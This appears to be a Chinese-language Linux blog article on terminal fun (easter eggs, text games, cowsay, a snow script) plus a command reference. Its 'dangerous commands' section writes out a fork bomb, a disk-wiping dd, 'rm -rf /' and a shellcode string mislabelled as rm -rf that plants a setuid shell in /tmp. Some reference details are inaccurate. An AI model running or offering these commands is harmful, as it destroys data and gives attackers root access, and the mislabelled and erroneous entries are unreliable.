Linux 系統除了強大的功能外,也充滿許多趣味性應用和值得探索的進階技巧。本文從趣味小遊戲切入,帶領讀者認識 Linux 終端機的另一面,例如在 Vim 和 Emacs 編輯器中尋找彩蛋,以及體驗 bastet、Dwarf Fortress 等文字模式遊戲。接著,文章進一步介紹如何擴充 Cowsay 的角色和 Fortune 的參照資料函式庫,讓使用者開發個人化的終端機環境,並分享瞭如何在終端機中模擬下雪效果的 Shell 指令碼。最後,文章也提醒使用者在非生產環境的虛擬機器上謹慎測試實驗性功能,並列舉了部分危險指令,以強化安全意識。
Linux 趣味與進階應用
Linux 不僅是一個強大的作業系統,更是一個充滿創意與樂趣的平台。無論你是初學者還是資深使用者,都能在 Linux 中發現許多有趣的工具和技巧。本文將介紹一些 Linux 中的趣味應用、進階技巧以及一些需要謹慎使用的實驗性功能。
趣味應用
Linux 提供了多種有趣的命令列工具,讓使用者可以在終端機中享受遊戲的樂趣。
1. 在 Vim 和 Emacs 中的彩蛋
Vim 和 Emacs 是兩款流行的文字編輯器,它們內建了一些有趣的彩蛋。
- 在 Vim 中:
- 輸入
:help 42,這是對道格拉斯·亞當斯(Douglas Adams)的小說《銀河便車》的致敬。 - 輸入
:Ni!,這是對蒙提·派森(Monty Python)的致敬。
- 輸入
- 在 Emacs 中:
- 按下
Esc鍵後輸入X,然後在M-x提示符下輸入以下遊戲名稱:snake:一個簡單的貪食蛇遊戲。tetris:一個簡單的俄羅斯方塊遊戲。
- 按下
2. 文字模式遊戲
Linux 終端機支援多種文字模式的遊戲,展現了命令列的靈活性。
- bastet(Bastard Tetris):一個使用 ASCII 字元的俄羅斯方塊遊戲。
sudo apt-get install bastet
* **Dwarf Fortress**:一個使用 ASCII 藝術的文字模式幻想遊戲。
* 前往 [http://www.bay12games.com/dwarves/](http://www.bay12games.com/dwarves/) 下載並按照指示安裝。
* **freesweep**:一個使用 ASCII 圖形的掃雷遊戲。
```bash
sudo apt-get install freesweep
- nethack:一個單人 Rogue-like 地牢探索遊戲。
- 前往 http://nethack.org/ 下載並按照指示安裝。
進階趣味應用
1. 擴充 Cowsay 的角色
Cowsay 是一個有趣的命令列工具,可以讓 ASCII 動物說出指定的文字。您可以透過新增 .COW 檔案來擴充可用的角色。
# 切換到家目錄
cd ~
# 從 GitHub 下載檔案
git clone https://github.com/paulkaefer/cowsay-files
# 將 .COW 檔案移動到正確的位置
sudo mv ~/cowsay-files/cows/*.cow /usr/share/cowsay/cows/
# 顯示其中一個新的角色
fortune | cowsay -f dalek
2. 擴充 Fortune 參照資料函式庫
您可以建立自訂的參照資料函式庫供 fortune 命令使用。首先,將引語放入一個文字檔案中,每個引語之間用 % 分隔。然後,將其轉換為 fortune 命令可以使用的二進位檔案。
# 切換到家目錄
cd ~
# 從 GitHub 下載 chucknorris 檔案
wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/plugins/chucknorris/fortunes/chucknorris
# 建立 fortune 命令使用的隨機存取字串檔案
strfile chucknorris
# 將 chucknorris 和 chucknorris.dat 複製到 fortune 目錄
sudo cp chucknorris* /usr/share/games/fortunes
# 測試新的 chucknorris 引語
fortune chucknorris | cowsay
3. 讓它下雪(Let It Snow)
您可以建立一個簡單的指令碼,讓終端機螢幕下雪。
echo \#\!/bin/bash > snow.sh; chmod u+x snow.sh; nano snow.sh
將以下內容複製到 snow.sh 檔案中:
#!/bin/bash
LINES=$(tput lines)
COLUMNS=$(tput cols)
declare -A snowflakes
declare -A lastflakes
clear
function move_flake() {
i="$1"
if [ "${snowflakes[$i]}" = "" ] || [ "${snowflakes[$i]}" = "$LINES" ]; then
snowflakes[$i]=0
else
if [ "${lastflakes[$i]}" != "" ]; then
printf "\033[%s;%sH \033[1;1H" ${lastflakes[$i]} $i
fi
fi
printf "\033[%s;%sH*\033[1;1H" ${snowflakes[$i]} $i
lastflakes[$i]=${snowflakes[$i]}
snowflakes[$i]=$((${snowflakes[$i]}+1))
}
while :
do
i=$(($RANDOM % $COLUMNS))
move_flake $i
for x in "${!lastflakes[@]}"
do
move_flake "$x"
done
# 只在太快時才使用此行來減慢速度
#sleep 0.1
done
執行指令碼:
./snow.sh
實驗性功能
本文包含一些實驗性的程式碼,您可以在非生產環境的虛擬機器上測試這些命令。請謹慎操作,並在執行前建立虛擬機器的快照,以便在出現問題時能夠還原到先前的狀態。
- 經典 Fork 炸彈:這是一個可能導致系統當機的惡作劇命令。
:(){ :|:& };:
#### 內容解密:
* 此命令定義了一個 shell 函式,該函式會不斷複製自身,迅速耗盡 CPU 時間和可用記憶體。
* 這基本上是一種拒絕服務攻擊,會重複發生,直到電腦當機。
### 危險命令
以下命令可能會損壞您的系統,請勿在生產伺服器上執行。這些命令僅供參考。
* **破壞儲存裝置上的資料**:
```bash
dd if=/dev/random of=/dev/sda
#### 內容解密:
* 此命令會將隨機資料寫入指定的儲存裝置,從而破壞其上的資料。
- 刪除系統上的所有檔案:
rm -rf / –no-preserve-root
#### 內容解密:
* 此命令會遞迴刪除根目錄下的所有檔案和目錄,且不會保留根目錄。
* **混淆版本的 rm -rf 命令**:
```c
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68′′
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99′′
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7′′
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56′′
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31′′
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69′′
“\x6e\x2f\x73\x68\x00\x2d\x63\x00′′
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
#### 內容解密:
* 這是一個經過混淆處理的惡意程式碼,可能用於誘騙使用者破壞自己的資料。
Linux 命令快速參考
Linux 擁有數千個可用的命令,其中一些是預設包含在發行版中的,而其他則需要手動新增。任何下載的套件都可能包含一個非常強大的命令(如 busybox)或一組相關的命令(如 openssl)。
主控台鍵盤快捷鍵
以下是主控台鍵盤快捷鍵的列表,其中一些非常有用,而其他可能需要一些時間來瞭解其用途。
導航與編輯
- Ctrl+A (或 Home):移動到行首。
- Ctrl+B:向左移動一個字元。
- Alt+B:向左移動一個單詞。
- Ctrl+E (或 End):移動到行尾。
- Ctrl+F:向右移動一個字元。
- Alt+F:向右移動一個單詞。
- Ctrl+H (或 Backspace):刪除遊標前的字元。
- Ctrl+D (或輸入
exit):登出目前的工作階段。
命令控制
- Ctrl+C:停止目前的命令。
- Ctrl+Z:暫停目前的命令。使用
fg還原到前景,或使用bg讓其在背景執行。 - Ctrl+L:清除螢幕(類別似於
clear命令)。 - Ctrl+S:停止所有輸出到螢幕。
- Ctrl+Q:還原被
Ctrl+S停止的輸出。
剪貼簿操作
- Ctrl+K:剪下游標後的行內容並新增到剪貼簿。
- Ctrl+U:剪下游標前的行內容並新增到剪貼簿。
- Ctrl+W:剪下游標前的單詞並新增到剪貼簿。
- Ctrl+Y:貼上最後一次剪下的內容。
命令歷史與自動補全
- Ctrl+P:切換到上一個命令(類別似於向上箭頭)。
- Ctrl+N:切換到下一個命令(類別似於向下箭頭)。
- Ctrl+R:搜尋命令歷史。
- TAB 鍵:自動補全檔案名或目錄名。
- Alt+(.):顯示前一個命令並提取其最後一個引數。
系統命令
以下是一些與作業系統相關的系統命令。許多這些命令非常強大,而其他一些則幾乎毫無用處。
硬體與系統資訊
arch:顯示機器的硬體名稱。- 示例:
arch - 註解:與
uname -m或echo $HOSTTYPE相同。
- 示例:
程式管理
at:在指定的日期和時間執行命令。- 示例:
at 9:30 AM 05/10/2025 - 註解:與
crontab、atq、atrm、batch命令相關。
- 示例:
資訊查詢
apropos:顯示與特定關鍵字相關的所有 man 手冊頁面。- 示例:
apropos chroot - 註解:與
man命令相關。
- 示例:
程式碼處理與解說
以下是一個簡單的 Bash 指令碼範例,用於檢查 ACPI 子系統是否可用:
#!/bin/bash
acpi_available
if [ $? -eq 0 ]; then
echo "ACPI: Active"
else
echo "ACPI: Inactive"
fi
內容解密:
acpi_available命令檢查 ACPI 子系統是否可用。如果可用,它傳回離開狀態 0,否則傳回非零值。if [ $? -eq 0 ]陳述式檢查上一個命令的離開狀態。如果狀態為 0,則表示 ACPI 子系統是可用的,並輸出 “ACPI: Active”;否則輸出 “ACPI: Inactive”。
Linux 常用指令大全
Linux 系統提供了豐富的指令供使用者操作和管理系統,以下是一些常見的指令分類別和介紹。
工作管理與排程
atrm
- 功能:刪除使用者的待執行 at 命令工作。
- 範例:
atrm 4 - 相關指令:at, atq
crontab
- 功能:顯示目前使用者的所有 CRONTAB 檔案。
- 範例:
crontab -l - 相關指令:at
ctrlaltdel
- 功能:設定 Ctrl+Alt+Del 鍵組合的功能。
- 範例:
ctrlaltdel hard - 類別:Shell
文書處理
base32
- 功能:對資料進行 BASE32 編碼或解碼,並輸出到標準輸出。
- 範例:
- 編碼:
echo "This is a test..." | base32 - 解碼:
echo "KRUGS4ZANFZSAYJAORSXG5BOFYXAU===" | base32 -d
- 編碼:
- 相關指令:base64
- 類別:Strings/Text
base64
- 功能:對資料進行 BASE64 編碼或解碼,並輸出到標準輸出。
- 範例:
- 編碼:
echo "This is a test..." | base64 - 解碼:
echo "VGhpcyBpcyBhIHRlc3QuLi4K" | base64 -d
- 編碼:
- 相關指令:base32
- 類別:Strings/Text
col
- 功能:過濾輸入中的反向換行符號。
- 範例:
man col | col -bx - 相關指令:col1
- 類別:Strings/Text
colcrt
- 功能:過濾 NROFF 輸出以供 CRT 預覽。
- 範例:
tbl exum2.n | nroff -ms | colcrt - | more - 相關指令:nroff, groff, troff
- 類別:Document Processing
colrm
- 功能:從檔案中移除指定的欄位。
- 範例:
ls -al | colrm 11 12 - 相關指令:column
- 類別:Strings/Text
column
- 功能:將文字格式化為欄位輸出。
- 範例:
df -hPT | column -tprintf "PERM LINKS OWNER GROUP SIZE MONTH DAY "; printf "HH:MM/YEAR NAME\n"; ls -l | sed 1d | column -t
- 相關指令:colrm
- 類別:Strings/Text
系統與除錯
coredumpctl
- 功能:檢索和處理儲存的核心轉儲和後設資料。
- 範例:
coredumpctl dump chrome- 列出所有名為 foo 的程式的核心轉儲:
coredumpctl list foo - 對最新的核心轉儲呼叫 gdb:
coredumpctl debug - 顯示 PID 為 6654 的處理程式的核心轉儲資訊:
coredumpctl info 6654 - 將 /usr/bin/bar 的最新核心轉儲提取到名為 bar.coredump 的檔案中:
coredumpctl -o bar.coredump dump /usr/bin/bar
- 相關指令:gdb
- 類別:System/Troubleshooting
程式開發
cpp
- 功能:C 編譯器自動使用的巨集處理器,用於在編譯前轉換程式。
- 範例:
cpp -o hello hello.c; chmod a+x hello; ./hello - 相關指令:gcc
- 類別:Programming
Shell 與內建指令
bind
- 功能:顯示 BASH 中所有可用的鍵盤繫結。
- 範例:
bind -P - 類別:Shell
builtin
- 功能:執行 SHELL-BUILTIN 並帶有引數。
- 範例:
cd1 () { builtin cd "$@"; pwd; } - 類別:Shell
busybox
- 功能:嵌入式 Linux 的瑞士軍刀,包含多種實用工具。
- 範例:
busybox ls -lbusybox ping example.com
- 類別:Shell
chroot
- 功能:以新的根目錄執行命令或互動式 shell。
- 範例:
chroot /home/jane /bin/bash - 類別:Shell
clear
- 功能:清除控制檯視窗中的文字。
- 範例:
clear - 快速鍵: Ctrl+D
內容解密:
- 該指令主要用於清除終端機畫面上的文字,令畫面回復到初始狀態,但不會影響目前的工作或歷史命令記錄。
- 這是一種方便的方式,讓使用者在需要時重新整理畫面。
compgen
- 功能:根據選項顯示可能的補全結果。
- 範例:
compgen -c tree內容解密:
- 該命令主要用於顯示可能的命令補全結果,幫助使用者在輸入命令時快速找到合適的選項或命令名稱。
-c表示列出與tree相關的命令,對於需要查詢特定命令補全的使用者非常有用。
command
- 用於執行命令或顯示命令的資訊。例如,執行一個名為
echo的命令,可以使用command echo Hello。這是 Bash 的內建命令,屬於 Shell 分類別。
內容解密:
- `command` 命令的主要作用是確保執行的是一個外部命令或內建命令,而不會被 shell 函式遮蔽。
- 這有助於在編寫指令碼時明確呼叫所需的命令,避免因為同名函式而導致的意外行為。
compopt
- 用於修改或顯示補全選項。例如,設定補全時不自動新增空格,可以使用
compopt -o nospace。這是 Bash 的內建命令,屬於 Shell 分類別。
#### 內容解密:
- `compopt` 命令主要用於調整補全功能的行為,例如控制是否在補全後新增空格。
- 正確組態這些選項能夠提升命令輸入的效率和準確性,特別是在需要頻繁使用補全功能時。
時間與數學運算
bc
- 一個支援指令碼的精密計算器。例如,計算
12+20的結果,可以使用echo "12+20" | bc。這屬於 Math/Time 分類別,與dc命令相關。
內容解密:
- `bc` 命令是一個任意精確度的計算器語言,支援變數、條件陳述式和迴圈等特性,能夠進行複雜的數學運算。
- 經常被用於需要高精確度計算的場合,例如金融或科學計算中。
cal
- 用於顯示當前月份的日曆。例如,顯示 2025 年的日曆,可以使用
cal 2025。這屬於 Math/Time 分類別,是 util-linux 軟體包的一部分。
內容解密:
- `cal` 命令提供了一個簡單的方式來檢視指定年份或月份的日曆,有助於快速查詢日期。
- 它支援多種格式和選項,能夠滿足不同使用者的需求。
虛擬終端管理
chvt
- 用於切換前台虛擬終端。例如,切換到第 9 虛擬終端,可以使用
chvt 9。這屬於 Shell 分類別。
內容解密:
- `chvt` 命令允許使用者在不同的虛擬終端之間切換,這在需要同時進行多個任務時非常有用。
- 虛擬終端提供了一個靈活的工作環境,能夠提高多工處理的能力。